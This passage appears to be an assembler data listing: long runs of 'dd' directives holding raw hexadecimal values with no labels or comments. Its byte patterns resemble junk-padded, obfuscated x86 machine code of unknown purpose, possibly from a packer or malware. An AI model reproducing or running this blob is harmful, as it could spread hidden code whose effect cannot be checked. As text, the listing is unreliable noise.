		dd 7AFDA84Fh, 13E9h, 346D9800h,	0B7243DCDh, 0E082D050h
		dd 3028879Ah, 0BC0CD60Ch, 0D1BF0F61h, 62BFCE8Bh, 0F4BD606h
		dd 75B5C8B7h, 3850Fh, 8B660000h, 6830FCAh, 81000000h, 0E4CDC1EBh
		dd 18E98008h, 0EFA618BAh, 52D38A56h, 14E9h, 1BDAF700h
		dd 63F59562h, 4B3A79F3h, 0CDB8D251h, 314ABDF9h,	0BF0F5A0Fh
		dd 12E9DAh, 3DA60000h, 0DCFCC9CFh, 5037AB0Dh, 689A5350h
		dd 0B86936C4h, 31F5BB66h, 0BE8h, 9716FF00h, 5FC523EEh
		dd 7159A77Dh, 95A1EE81h, 0F5B59DBh, 0DF8BC3B7h,	0CE9h
		dd 4E8F9B00h, 2D105B09h, 6C9E99E3h, 0F3BF0F63h,	1F810Fh
		dd 870F0000h, 19h, 13E8h, 80639400h, 509EF59Eh,	4DA1EFF1h
		dd 349003B7h, 0C49262C6h, 14E958h, 28280000h, 0ADB8322Bh
		dd 0AEA15E2Dh, 0DDAE2E2Eh, 474BC085h, 0D08A95EAh, 0AE9h
		dd 6EFC3300h, 0BE7F5584h, 0FCD448A6h, 132EB9h, 38E0F42h
		dd 80000000h, 0BF0F52C3h, 0FD98BCFh, 886h, 28F0F00h, 8A000000h
		dd 13E8FDh, 58680000h, 0A2977ABCh, 0D15B7821h, 0B767D38Ch
		dd 640B963Dh, 5ACA8A8Dh, 35ED80F9h, 0CEF28166h,	0D78B6651h
		dd 13E9h, 0B0E0F800h, 103D61E6h, 86B72A3Fh, 696636ABh
		dd 36C9B988h, 0C6B7C18Ah, 11820FF8h, 0E9000000h, 0Ch, 911ABB68h
		dd 48B0A214h, 577C0B8Eh, 0CCBA6651h, 0B7FC5AD2h, 0AE901h
		dd 606C0000h, 12825A15h, 26B67AF5h, 0E9DBB70Fh,	12h, 92B4BB82h
		dd 909EB5F6h, 87932459h, 0C18A4C4Bh, 66F59856h,	0FB12C181h
		dd 88A0Fh, 0F560000h, 8Dh, 8B665900h, 14E9F3h, 730A0000h
		dd 76193DA0h, 88FCB51Ch, 2371DF2h, 55AA2C3Fh, 0D78191C5h
		dd 19DB7874h, 8438F5B8h, 0EDC18113h, 8B259268h,	5FF181DFh
		dd 0E91629FBh, 6, 0C5722948h, 11E9A588h, 0D3000000h, 41F79C57h
		dd 0FAB024E8h, 0E4F05D12h, 0C59713C2h, 6E8FCh, 96700000h
		dd 0C398F420h, 7072DBFh, 0F3815B2Ah, 0F4480AAh,	601FB866h
		dd 0CE9h, 5CE91000h, 379765BEh,	0CE67A41Ch, 0DE85360h
		dd 40000000h, 0E7641522h, 8F4A7B3Fh, 93CF8787h,	5F5A5850h
		dd 8B5AF380h, 30BA66C8h, 1CD8817Ch, 0E92C9563h,	0Eh, 246ABDD9h
		dd 7B447DAAh, 0E9FFDFD9h, 66605DB1h, 61FCDA8Bh,	840Fh
		dd 0CB8B0000h, 816060F9h, 43B0EEE6h, 0DFBF0F22h, 5E86161h
		dd 0A2000000h, 45E97BB4h, 0D840Fh, 8E90000h, 97000000h
		dd 59FAF1D5h, 5F7AF34Eh, 0A2CB8166h, 2FEE80A6h,	8495EAB8h
		dd 7FB86022h, 81627BE4h, 4136EE0h, 6E86141h, 0A7000000h
		dd 4C1DF96Dh, 8B665334h, 605E5FC2h, 0FE8h, 75373600h, 1800B63Ch
		dd 0D129D9CDh, 99704A52h, 0AE858F5h, 9D000000h,	52D4A61h
		dd 0F67C1CAFh, 5B58536Fh, 8890F61h, 0F000000h, 288h, 0F595200h
		dd 38Fh, 0FA8B6600h, 58E0Fh, 0B3600000h, 0E861F52Bh, 0Ah
		dd 7E557D15h, 0D7550CC5h, 8B66F64Ch, 0C18B5BDAh, 8E0FF6B0h
		dd 6, 7910E081h, 0D6801723h, 3232BF22h,	840F3E7Ch, 9, 38F0Fh
		dd 8B660000h, 0D0BF0FFBh, 8BFEB70Fh, 7CDA80C3h,	18830Fh
		dd 840F0000h, 12h, 0DE9h, 239B6B00h, 69A70DA0h,	0DDA6CD3Fh
		dd 7E9338Dh, 49000000h,	27AA16D8h, 0F57FDDFh, 8Bh, 0BE665E00h
		dd 0B70F50A3h, 0BF0FF9F6h, 69B852F0h, 581E1504h, 0E1816660h
		dd 0E6815478h, 3072DB14h, 14830F61h, 0E9000000h, 0Fh, 0BEEE180Bh
		dd 5F50CC87h, 631CC41Eh, 0E9D46388h, 9,	59B12DBEh, 0B58B168Bh
		dd 81C2B011h, 57FEF7F1h, 0C781565Eh, 1F5588A4h,	277BE5Eh
		dd 29B80B34h, 6629267Ch, 6AE6E981h, 9E9h, 5FF4B500h, 13BC3F92h
		dd 0D58A54A9h, 0E9D7BF0Fh, 9, 0BD6273ECh, 181885E5h, 0CE8B6635h
		dd 12E851h, 0F86C0000h,	7806102Eh, 0A41EBF46h, 0D268BC9h
		dd 0B13ED15Dh, 5B5E5952h, 0FF1BF0Fh, 484h, 5A515100h, 0B1D98059h
		dd 0BAD48056h, 0F60565Ah, 8Ch, 12E800h,	0D15E0000h, 57B10B9h
		dd 6D8F10EDh, 0B0C9DB11h, 59B3CA29h, 0E85F6159h, 14h, 0D47C1A2Ch
		dd 41789750h, 6522F0EBh, 7A5E04C3h, 6259A6C1h, 0EE805BF9h
		dd 0FE9F2h, 0A5E70000h,	0EB821D5Fh, 0CD89967Bh,	8E71C3C0h
		dd 81F960B2h, 2A7DDDD6h, 8E86175h, 0D2000000h, 0C494F932h
		dd 80A780A2h, 0E9586CF4h, 7, 0B8ED3DCCh, 66851EEEh, 3F39D981h
		dd 0E8DFBF0Fh, 10h, 2EA59428h, 0FD0AB9FBh, 53557036h, 93E758C9h
		dd 13E959FCh, 2B000000h, 223FD8D8h, 0EC7F136Ah,	44034B1Ch
		dd 7060E131h, 9CB6CCDFh, 983FBEF9h, 66600772h, 6661D78Bh
		dd 8B99E281h, 4B477CBEh, 0C9816679h, 0D281CC57h, 18C58E85h
		dd 153B30B8h, 0FE854h, 7BBE0000h, 6F52B4FBh, 0B6405C8Bh
		dd 520805ECh, 5BC28B9Bh, 9E950h, 0BC70000h, 0DEE107A7h
		dd 5B001E83h, 0BED28166h, 0DE9F5B8h, 58000000h,	0A04B8B3Ch
		dd 422F62A5h, 71DC20EEh, 6E8h, 68FF5800h, 8030ECF3h, 0E95A18CCh
		dd 6, 0F1313431h, 0E88AA61Eh, 0DE8B6653h, 0CE85Ah, 83C60000h
		dd 166A77C6h, 32D10914h, 666015F6h, 611896BFh, 0BE15B95Eh
		dd 0B70F13B0h, 7E9F6h, 5D2D0000h, 4763E9B1h, 0B70F60B2h
		dd 0F61F5F7h, 880h, 850F5000h, 0
		dd 0B7B2B15Fh, 5820FCFh, 66000000h, 0EC05C781h,	0DDAF9FBBh
		dd 0D0B70F78h, 0BE9C28Bh, 90000000h, 0D20BF481h, 77F7221Ah
		dd 6E80665h, 51000000h,	2FD9EB78h, 0BF5EFCB3h, 7D7E8458h
		dd 0C28B57F8h, 0FAC1815Eh, 8B468C68h, 0C08166F0h, 0BE80CD8h
		dd 0C2000000h, 7BF05BDh, 0C794F209h, 0FE817DBh,	96000000h
		dd 90691EEAh, 0A3A5037Ah, 0E02CFD78h, 5951F2E4h, 8E0F5958h
		dd 0Bh,	6E9h, 3D8EC200h, 81CA99A7h, 18CCF5D9h, 0F9BF661Ah
		dd 0D0BF0FE7h, 0A3C38166h, 4FDC8042h, 8FC2BE66h, 0F8C0Fh
		dd 0AE90000h, 43000000h, 0FB1280C7h, 290C794Dh,	0D081660Eh
		dd 14E9DDF7h, 32000000h, 0F3367ED4h, 26D33D62h,	2CBF24C5h
		dd 0AF60862Ah, 0F3F4F01h, 5BFFABFh, 806B71C9h, 10E9C0E0h
		dd 94000000h, 9FCC4FEh,	0EAD2BE9h, 362576E0h, 60E59928h
		dd 28A0Fh, 61600000h, 23880F61h, 0E8000000h, 0Bh, 513C5E6Eh
		dd 0FAFE52BDh, 0E9B65D50h, 0Dh,	0BEF3327Ch, 2C47ED32h
		dd 21CF85D2h, 0D88B5EE3h, 0B966C3B2h, 81666144h, 0E932EEDAh
		dd 10h,	82423B1Fh, 1EE9C2EAh, 0BA451E2Eh, 2B94E6FDh, 8F03DFBAh
		dd 12E946h, 0EB630000h,	0A36B7DAh, 0A825C8C4h, 4E08C30h
		dd 0A17BAC25h, 5E953h, 0BCC10000h, 5EBA8B0Dh, 31DB8166h
		dd 6666BFBBh, 0C88066C2h, 0CABF0F3Bh, 5880Fh, 27B80000h
		dd 66014EBCh, 1C6CC281h, 0D48C76BBh, 55D4807Eh,	682FF181h
		dd 8B0F0A5Bh, 0
		dd 51DE8B66h, 0EE9h, 753A6B00h,	0B1197E41h, 675004EDh
		dd 585AB5EAh, 7A6338B9h, 10E94Eh, 8C7A0000h, 363211B2h
		dd 0B4A1645Fh, 0F21C370h, 0B70FECC7h, 0FF98BD3h, 385h
		dd 0C3BF0F00h, 5E9h, 0F652A500h, 6060B575h, 0F72E780h
		dd 8Eh,	0AE96100h, 0B3000000h, 603A8CE2h, 71ACFBD3h, 16BE6141h
		dd 0BE032139h, 4E711ED7h, 0CE9h, 56D71F00h, 0CBD97FE6h
		dd 0C220147Fh, 0D2D6BAF7h, 0BB66496Ch, 0F60E2C0h, 38Fh
		dd 0D7C18000h, 10E961h,	58D80000h, 403E7E0Ch, 0E1ACCBB8h
		dd 6048F295h, 0F8B3F011h, 81D2C680h, 0BD26F1D7h, 0FE97Fh
		dd 10DA0000h, 1BA56B12h, 382D0F67h, 15D3DFCh, 80BA66EDh
		dd 8166600Ch, 0E8CB9AD0h, 0Fh, 4E586A39h, 78410BCh, 3BEE3F34h
		dd 668E36A3h, 615EDA8Bh, 2AF68166h, 188F0F23h, 0E9000000h
		dd 13h,	0C1B5BB09h, 0F299FF4Fh,	0F0D2D984h, 6EB4E723h
		dd 0E90BDDECh, 0Ah, 0F09A4BB5h,	1F72EBFBh, 0B3608AA8h
		dd 0D1805178h, 81615BCDh, 0E96227E8h, 5E854h, 43520000h
		dd 0E8F9891Ah, 0Bh, 1ABA9029h, 1CE034FAh, 0FF70CFFh, 84h
		dd 605A5E00h, 0E961B0B5h, 9, 0D333920Bh, 1B52885Ch, 0C881667Ah
		dd 0CCBE5153h, 80339DF1h, 0E960D3D6h, 5, 0B785CA53h, 6E9CBh
		dd 0D13E0000h, 482CC99h, 5860F61h, 66000000h, 9DB3D881h
		dd 8E7D79BAh, 82E8810Ah, 0E959CC70h, 0Fh, 2EB20379h, 8496AC0Ah
		dd 0D5A6953Dh, 0F6A967Ah, 0A89h, 5E900h, 0C6B10000h, 0BA694A05h
		dd 248C081Ah, 0F2B70F60h, 43EF8161h, 81674CC6h,	43CCD7F3h
		dd 9E81Dh, 2D470000h, 21FA2900h, 0F9678920h, 36F38058h
		dd 3810Fh, 0B70F0000h, 3850FF0h, 0F000000h, 0F48ACFB7h
		dd 7305BB66h, 18D0Fh, 66F50000h, 0BE66C38Bh, 8160518Ah
		dd 8E248F0h, 8B666151h,	0F7B70FD9h, 51A8BE66h, 38C0Fh
		dd 0B70F0000h, 7AC781F1h, 0E9457C3Ah, 0Bh, 63C9AC73h, 0BB864767h
		dd 81C3B808h, 0FE241EC0h, 17870F4Bh, 0E9000000h, 12h, 0CFAFCE3Ch
		dd 0E09A5B2Bh, 9C2A8202h, 7BA4C058h, 66F57279h,	0FD6EFBEh
		dd 0D88h, 8E900h, 25050000h, 75C2BE03h,	7E9C1D9h, 55000000h
		dd 0ADF0FC3Dh, 0CC8003B5h, 0D7BF0FE3h, 60B9C180h, 516061F5h
		dd 44E08166h, 850F5BF3h, 6, 4725F181h, 606100ABh, 9E9h
		dd 0CC506300h, 68FAE62Bh, 0BE663024h, 0F616EB7h, 8166F2BFh
		dd 8B5454E0h, 0F8D081D6h, 0E951E13Fh, 12h, 99FE63EAh, 666BE5E3h
		dd 0AD0FE774h, 238B746Ah, 12E82510h, 64000000h,	0F723400Fh
		dd 819643EEh, 7F0C6782h, 0F0BD4FEFh, 10E984h, 161D0000h
		dd 94D460E5h, 6EB782B1h, 0B742AE4Dh, 0F58E4AEh,	38Ah, 0FABF0F00h
		dd 0D081DE8Bh, 2AA2FF65h, 6661E380h, 0A5EF81h, 1810Fh
		dd 0E9FC0000h, 6, 2101497Dh, 6DB8359Dh,	6670E186h, 6AA9C981h
		dd 9A9E0BB9h, 0A33AB904h, 66572F5Dh, 744BC081h,	0D78B525Fh
		dd 60F58A58h, 58D0Fh, 4BF0000h,	0B27CDAB8h, 0E98061B3h
		dd 0BE9FCF4h, 19000000h, 88DC0969h, 9A19C9D2h, 0E860B2D6h
		dd 0Fh,	0B4E3F2FEh, 12185F7Ah, 0BAFC7FA3h, 6005C22Eh, 61F85861h
		dd 0F5C68B66h, 10E9h, 29C1400h,	7FDA63E6h, 0D5D31AADh
		dd 0A2E58885h, 3840F17h, 66000000h, 14E9D38Bh, 59000000h
		dd 0EC11C499h, 0FE7193AEh, 0D080959Fh, 0AEF161D2h, 0E9C03EFEh
		dd 11h,	79154909h, 3DC8AC04h, 5B6D49B1h, 0BC91F2B4h, 0D6B8667Dh
		dd 0D4BA5713h, 5A570730h, 7BFF16BEh, 0A3BCB869h, 14E922B9h
		dd 1B000000h, 0A7FA7FB1h, 0A0FCEDCh, 2914F6F3h,	0BAC7CDC6h
		dd 0E962A347h, 14h, 2BFD7110h, 5708F0F1h, 488D10FBh, 331D16C5h
		dd 5BFDE144h, 5E9h, 0D6C8BF00h,	0FB8B28D0h, 12E8h, 0FCF5C400h
		dd 6DF6DA48h, 0DC73E612h, 0A0C7A35Ah, 0E8565A01h, 10h
		dd 0FDD21441h, 7824B00Eh, 0CC971444h, 85374640h, 89CB3FBAh
		dd 0E95B5F15h, 0Dh, 0FD50DA2Ah,	39316CB4h, 29018187h, 12E9A9h
		dd 7C600000h, 0E613C35Ah, 9074F952h, 0D2635E5Fh, 53080C02h
		dd 8F0FC38Bh, 0Eh, 5E8h, 9A42E300h, 8B66A961h, 0EC8059C2h
		dd 0FB8B66CBh, 0AE8h, 0CCA67A00h, 69C78221h, 81E0191Fh
		dd 0F20C6DBh, 11BF582Ah, 666115D5h, 0E9B294BBh,	0Dh, 1C75175Ah
		dd 43140062h, 12C8CB34h, 0F2816673h, 66F5C058h,	0BE9FE8Bh
		dd 2D000000h, 740744B9h, 7A701556h, 820FBCE3h, 9, 3810Fh
		dd 8B660000h, 0BE8F0h, 0C6A10000h, 0A0270575h, 1AAC0E21h
		dd 5800FFCh, 66000000h,	0D7C1D781h, 0C681665Fh,	8B667BE5h
		dd 0FE9D6h, 560F0000h, 16361B0Eh, 0AF902448h, 73AA7A31h
		dd 0DF781C0h, 0F5F32A9h, 28Bh, 0FF08B00h, 13E8DFBFh, 0B1000000h
		dd 0DC22B134h, 0CAF6717Bh, 49E1D84Ah, 0FFB29ABDh, 5FFC6CC2h
		dd 837BBF66h, 0D0DBB866h, 1830Fh, 81FC0000h, 0D92876C0h
		dd 0F9D38B2Ch, 6E9h, 39585B00h,	60F7F148h, 8B6680B3h, 6E961D9h
		dd 0B4000000h, 115BB830h, 0AED78139h, 0B33CF307h, 0E85060CDh
		dd 0Dh,	649EE147h, 0E1F487F6h, 0AB28A8CDh, 615A5FC0h, 0C1CF8166h
		dd 4890F36h, 66000000h,	0BF87F6BEh, 23171868h, 0E9F7B70Fh
		dd 0Ah,	0C5B3F6B8h, 808E6F2Fh, 0F601BD3h, 10E9D0B7h, 90000000h
		dd 847CEA7Ch, 0B90F53B3h, 0CDC3FC76h, 61208762h, 5860Fh
		dd 8DBF0000h, 0F91281AFh, 9E8h,	4AE6BB00h, 7D90628Ch, 860F3022h
		dd 6, 820Fh, 66590000h,	0B28CEDBEh, 92F2816Ch, 0E945D704h
		dd 6, 2590623h,	0EF802401h, 0B9C381D5h,	0BA3380F6h, 46A8887Ch
		dd 0BE9h, 53F1CC00h, 0A66C33A5h, 0DD60E45Eh, 0FB8B6660h
		dd 8161F08Ah, 73FF7CE0h, 8E95Bh, 3B0C0000h, 0C12A1939h
		dd 8166D476h, 53AA2CF1h, 95B86660h, 0CCEF818Ah,	611A2C14h
		dd 536FB559h, 0DBB70F51h, 1BBF5B5Bh, 667862C3h,	0BE8FA8Bh
		dd 0F7000000h, 0A6B2EBBBh, 17A48C34h, 0EE815D0Fh, 3ACA03DFh
		dd 28BE6658h, 0BE913h, 3EBF0000h, 0AB6C4697h, 7C0A5E94h
		dd 0CB8166A4h, 8B66AE6Ah, 816653C7h, 5A6CBFDFh,	0E9F38B66h
		dd 12h,	4652D2Ah, 3C7ABB08h, 0C05149ADh, 0E7433527h, 0FF5FA94h
		dd 487h, 79BA6600h, 0CE9BBh, 0D3540000h, 830B53EFh, 5271075h
		dd 0EF816D91h, 5D77B9A7h, 890F57FCh, 4,	1EB2BA66h, 68D8815Ah
		dd 8022681Dh, 0C4BFD9D2h, 512A3BB6h, 8A0FFC5Bh,	9, 3890Fh
		dd 0E6800000h, 0CA8B6631h, 0A860Fh, 5E90000h, 0F5000000h
		dd 0A76D1D20h, 5870Fh, 0DEB80000h, 0F4A83FDh, 38Ah, 0FA8B6600h
		dd 8C05CF81h, 810F5D25h, 1, 14E9F8h, 616D0000h,	4D7C29FAh
		dd 41FA49E4h, 19878115h, 0F9BE8838h, 0BA66A988h, 0BE6638B0h
		dd 80511EF7h, 0E9584CC8h, 0Dh, 7F800A2Ah, 61455F3h, 740D4774h
		dd 11E957C4h, 54000000h, 0D82C3556h, 94468F23h,	9C4F68CBh
		dd 71B9A04Fh, 0EFF2805Bh, 0F0DA8166h, 0A0BA66EFh, 0C18166E4h
		dd 0D281B1AEh, 23CCED8Dh, 8D0FFE8Bh, 1Bh, 10E8h, 25560400h
		dd 54D62456h, 0C3420220h, 67E60E7Bh, 1C58BB10h,	665860E4h
		dd 0F860CB8Bh, 6109E180h, 0FC60DF8Bh, 0F9C28B61h, 0C1BAB3B6h
		dd 0F6AC77Dh, 8E0FF6B7h, 3, 0FD0B70Fh, 830FFBBFh, 17h
		dd 11E8h, 0A353C700h, 0AFC87E0Eh, 0AB1BE959h, 5C8031B5h
		dd 0F5ED127h, 984h, 59526000h, 4071BAB8h, 0F516155h, 58Fh
		dd 0DA816600h, 525FFE1Bh, 0F5FE68Ah, 58Ch, 0D6816600h
		dd 830FF84Ch, 5, 0BECA8166h, 0AE86Ah, 86CE0000h, 0F20774Ch
		dd 0D843D8CCh, 0F7C68160h, 817DF739h, 0D39790D2h, 665A610Dh
		dd 751DF181h, 0E1816651h, 0F5E2FCAh, 68Dh, 53EE8100h, 0F5CC59Eh
		dd 0AE9C8B7h, 30000000h, 9E5B5FB3h, 193AB7BEh, 0C28166B5h
		dd 0E8F5AB61h, 0Fh, 1C12136Fh, 76985171h, 0BA815E8Dh, 0FA2E771h
		dd 68Bh, 880F00h, 5A000000h, 48C0Fh, 0BF660000h, 0B70FBE6Ch
		dd 6600B4C6h, 43AADB81h, 0BE9h,	0DE1CB100h, 77D8E0D0h
		dd 1CD5383Ch, 0AE899B7h, 0AC000000h, 0C4B4955Bh, 0A51B3C2h
		dd 5EFAB505h, 6830FF5h,	81000000h, 693E46F0h, 13E975h
		dd 72E90000h, 0AF9CAF85h, 3844C0Dh, 71EF014Fh, 74942902h
		dd 0DEB70F0Dh, 10810Fh,	8E80000h, 59000000h, 10C311A5h
		dd 0B0F88585h, 9E85FE6h, 79000000h, 15E8E865h, 0B9CFAD92h
		dd 90C0BB66h, 13E859h, 3C0A0000h, 0DBB90A5Dh, 0E010CD1h
		dd 392F7F4Ch, 8288F25h,	8D0F5B7Fh, 3, 0F1CE380h, 386h
		dd 0D78B6600h, 5E9h, 396F7000h,	0E8FC59E5h, 9, 0C7CDC629h
		dd 62A347BAh, 4D8BBA8Dh, 815A39D6h, 0B2499C6h, 8E814h
		dd 0B0750000h, 98ABC025h, 8166E4C0h, 5A4D93E0h,	810F6BB4h
		dd 14h,	0EE8h, 2146C200h, 50F5F0B4h, 68C2638Eh,	59C439DCh
		dd 810BB660h, 5DF2EFC7h, 0E9F86113h, 0Ch, 128D62A3h, 0FC4420C6h
		dd 16043B89h, 44ABF66h,	3DC1BF66h, 8B66C28Bh, 8A5060F9h
		dd 11E95ACFh, 0E1000000h, 0E517CA55h, 0FAEDB797h, 7F83B52Dh
		dd 5D639F9Ch, 43B96661h, 0FCF8BF0h, 0B8Eh, 81666000h, 66FED2EAh
		dd 617664BAh, 8B0F83B6h, 3, 66C1B70Fh, 542AEE81h, 66FBBF0Fh
		dd 8E0FC78Bh, 3, 5387C180h, 89DEEE81h, 805E5D20h, 890F14D9h
		dd 11h,	0B8A0Fh, 5E80000h, 0AA000000h, 0B4ED21F1h, 7C83B95Fh
		dd 0BF0F3C96h, 0BB66F8F8h, 8B66AC66h, 0D08166C7h, 0FF57D99h
		dd 588h, 9EA3B800h, 0B70F68F1h,	0D38AF9CEh, 0F5DF8B66h
		dd 0D18BFE8Bh, 0BF0FE88Ah, 0F2BF0FF9h, 0CE960h,	0D2AD0000h
		dd 7E00AC7Ch, 473B42CAh, 0DE8B851Ah, 7E961h, 0FD190000h
		dd 8803EF43h, 3AD38183h, 660CFCBAh, 8BC569BAh, 12870FC1h
		dd 0E9000000h, 0Dh, 0E11F813Dh,	0B8F6FF06h, 2AE0D31h, 0D9B70F50h
		dd 7E9h, 74CB6000h, 74BB424Ah, 0C786B966h, 12E9h, 0F20F2600h
		dd 6EB2436Ah, 4F0492A2h, 0A307C978h, 57A2B5A2h,	0BE8h
		dd 99EE8D00h, 0ABCE8033h, 0E1B7EB3Eh, 17E1BB66h, 0DE85F5Bh
		dd 99000000h, 76E70535h, 0A3E9F1E2h, 0A3DCEADCh, 9E853h
		dd 47120000h, 1AC5F48Bh, 5F08C77Bh, 8BF85A59h, 0F7B70FF3h
		dd 0F5DC580h, 1588h, 0AE800h, 8BCB0000h, 4B730348h, 2B484348h
		dd 0BD08166h, 0BF66586Eh, 0BDBB68BCh, 0FC6AA247h, 7E9E38Ah
		dd 0FF000000h, 83711E42h, 12E8A3DBh, 67000000h,	0B8BC3651h
		dd 3EB02807h, 0E75C4002h, 0B51BE3A7h, 5BDE8BA1h, 3A1676BFh
		dd 0D88B6605h, 0CE8D98Bh, 31000000h, 22233D72h,	0CCCDDD66h
		dd 66BE9616h, 5925E0BEh, 3EDE8166h, 28B0F9Dh, 8B000000h
		dd 4800FF9h, 66000000h,	8B90DCBFh, 0AE9FBh, 0DE280000h
		dd 8E138B04h, 763CB55Ch, 870Fh,	14E90000h, 83000000h, 63F7FE99h
		dd 0B94CF075h, 61257305h, 48E02042h, 0BAE0165Eh, 4AC042F0h
		dd 7E33B0B9h, 0FE929h, 4AFF0000h, 93F545FBh, 86B97F86h
		dd 0ACB2EB5h, 81666047h, 0E8510AD3h, 13h, 0AAC6ACDAh, 655D3937h
		dd 40714B4h, 0C7C0B122h, 0E97B9DB7h, 0Eh, 8C0E41A5h, 3F3E9766h
		dd 4720BF88h, 615E9F69h, 13E860F8h, 1D000000h, 5947D07Bh
		dd 0BE5F3051h, 668BC86h, 6BB01B80h, 58FC1583h, 0F1B861F9h
		dd 0FC0FD620h, 0B860CA8Bh, 3C49F203h, 7E9h, 99DEB700h
		dd 0BA1B9203h, 0DEB70F61h, 0CB75D781h, 66FC5A9Eh, 66516ABEh
		dd 8166C28Bh, 0E96863CFh, 0Bh, 0AAD3A1BDh, 8DBAF552h, 607379DAh
		dd 3830Fh, 8B660000h, 8B0F56CBh, 0
		dd 870F615Ah, 0Dh, 8E9h, 27288400h, 56EC796Dh, 8E9605Dh
		dd 44000000h, 0CFED4A21h, 66D5CFF9h, 6112BBBEh,	80F97DB2h
		dd 0F38130CAh, 1054DCCDh, 14E9DF8Bh, 0B000000h,	38673E8Fh
		dd 0B07800D6h, 1F47E6EEh, 86D9E017h, 0BFF1DAD5h, 0A54C462h
		dd 0E7B3D381h, 0C8812B3Eh, 728D4CD6h, 66F2E280h, 0FB93C181h
		dd 89E38160h, 8A0CC210h, 0EE961CBh, 0CA000000h,	1DE2AA83h
		dd 54B78827h, 7D49A113h, 2800F61h, 0B7000000h, 99DA8192h
		dd 0F6F0A3Ch, 48Dh, 0C1BE6600h,	10E9534Ch, 0AF000000h
		dd 43502012h, 0DA88F490h, 1C5D46B6h, 5A0FA8CAh,	0E6F7C781h
		dd 5A573777h, 0B6D6BF0Fh, 80DF8B24h, 0BE6693E9h, 0E9FC6EEFh
		dd 0Ch,	4CB0E651h, 39CC9EF9h, 0E6B4FFD4h, 6990BE66h, 74DD4B9h
		dd 0D98B6669h, 38A0F60h, 80000000h, 6661EDCEh, 0E9734BBFh
		dd 11h,	0D066FFF6h, 0F5FC7D8h, 0C5ACAF15h, 3D6D0382h, 97E18104h
		dd 8A740678h, 5E9E7h, 9D6C0000h, 0F736592h, 38Eh, 0C7BF0F00h
		dd 17F5F181h, 5DB10837h, 12E950h, 7B630000h, 236BFEEh
		dd 14DF0888h, 97C200C0h, 0D5B78FFAh, 0A8C0F5Fh,	60000000h
		dd 45D88166h, 0C68B66EDh, 0C8B70F61h, 0F1E663B9h, 8E91Dh
		dd 0AFD00000h, 0D0F38CF1h, 8F0FD6EFh, 16h, 0EE8h, 0EBC69F00h
		dd 0B6BF89Fh, 0AA4C6BDBh, 56403175h, 6651585Bh,	5AA630BFh
		dd 139601B8h, 0F6EB823h, 810F6B3Ah, 0
		dd 0E9C9BF0Fh, 14h, 242BBAA3h, 59A29F55h, 0EA7D08E6h, 0E3ABF9B3h
		dd 7577873Fh, 5870Fh, 7BBA0000h, 6039773Bh, 8ACA8B66h
		dd 830F61E5h, 3, 0F9D1B70Fh, 81F8FA8Bh,	23A6CFEFh, 5860F3Eh
		dd 66000000h, 1294C381h, 5E25BE66h, 8B66F28Bh, 0E8ADB0C7h
		dd 0Eh,	0C18E5E70h, 7D7D2D72h, 3F21538Dh, 6056B475h, 0F5B5B61h
		dd 986h, 38A0F00h, 66000000h, 0C78BC18Bh, 0F059D5BBh, 4ADA8124h
		dd 0B6316A31h, 0C458BF4Ah, 8C0F417Ah, 13h, 0EE9h, 0B39FAC00h
		dd 0BC12739Ch, 982CF574h, 8BACE78Bh, 0ECCD80F2h, 0EE9h
		dd 0BA797300h, 761D2BB9h, 4B715678h, 0FA1E786h,	158Eh
		dd 9E800h, 58F30000h, 38FBFF61h, 0F6E458Ah, 83h, 0E8815800h
		dd 28F86FB4h, 0C88BD38Ah, 13E9h, 0FBB2DE00h, 63D86C2Dh
		dd 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh, 0BFF7BF0Fh, 2ECF02BAh
		dd 0A26FEE81h, 0C78B48AAh, 0CE8h, 1943A700h, 67DDF04Ch
		dd 0A20060D1h, 0DE96064h, 10000000h, 0CB52CC0h,	34A1E425h
		dd 924AA4A1h, 9E9h, 0FE24FE00h,	0D3C39AD4h, 5B6129ACh
		dd 8D0FF78Ah, 1Ah, 14810Fh, 0FE90000h, 22000000h, 7E6B9DE7h
		dd 0A7308903h, 34DFE812h, 0BE8C9F7h, 0A7000000h, 515CCA18h
		dd 85089EDDh, 0BA66534Dh, 0F5B1D83h, 8166FFBFh,	0E9742FEFh
		dd 12h,	2EDF82C9h, 0DA59EE4Dh, 51C5152Dh, 11E7F684h, 0CF815A2Dh
		dd 744A8FAEh, 8E8h, 53730B00h, 0C9050FCFh, 8E9574Ah, 6000000h
		dd 0D11D7CD9h, 5A18297Eh, 0BB66605Bh, 7BB5B783h, 81666061h
		dd 0F2345C6h, 187h, 5361FC00h, 0D9B70F59h, 0B7F3BF0Fh
		dd 66D38B32h, 14E9DA8Bh, 92000000h, 0BF9F881Fh,	9F806A31h
		dd 0F6C07A27h, 8A0DD58Bh, 0E84B5718h, 12h, 0DC237745h
		dd 988A8D6Ah, 58CC8F89h, 0C694F390h, 5AF82DC2h,	0E374F3BEh
		dd 78A0F2Bh, 60000000h,	49287EBBh, 0E7BB6143h, 0E85C846Dh
		dd 5, 0D479C5ADh, 0E959FCBFh, 6, 0D36EE57Ch, 8B66DB29h
		dd 0FFE8BF7h, 0B866F7BFh, 50B204CDh, 0B7CEB70Fh, 0E9F18B74h
		dd 0Dh,	97B262A6h, 0F561AEAAh, 60A4C797h, 4820F9Dh, 66000000h
		dd 0E86633B9h, 0Ah, 62CDB2Eh, 0CB444D5Ch, 0DF8B7A38h, 16870F5Eh
		dd 0E9000000h, 11h, 0C3EE777Ah,	31C300C7h, 0E9775B26h
		dd 0C902D1F9h, 10E869h,	11EA0000h, 61B8C65Ah, 6BBFF95Fh
		dd 0CEE1D7D0h, 66607A3Ah, 61E9D8BEh, 0B7C68A5Ah, 0DBB70FFFh
		dd 5EE28166h, 80E38138h, 8B1F1467h, 0DE9D6h, 0DB520000h
		dd 6A8ABB0h, 0C17082C0h, 662F14FCh, 0CA8AD78Bh,	80C0B70Fh
		dd 0DB8022EBh, 13E8FCFCh, 0B8000000h, 0AEE5BC59h, 0BEAFF76Ah
		dd 48683ED6h, 428156h, 81667634h, 58A6EBF2h, 2097BE66h
		dd 0FE960h, 3E620000h, 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah
		dd 810F61DDh, 6, 78CDD181h, 56F81D01h, 25EF8166h, 0FCF95A10h
		dd 7FAB866h, 0E940CD80h, 0Eh, 525EACB2h, 27121401h, 8E289577h
		dd 66F9A82Bh, 0D38AC78Bh, 0DC82F081h, 890F5946h, 3, 81CE8B66h
		dd 3C69A1D0h, 0AE809h, 99670000h, 0A149DD0Ah, 789ECDA7h
		dd 0E958EF8Ah, 13h, 700EB31h, 934341A0h, 0D7ADAAB4h, 902C4DD4h
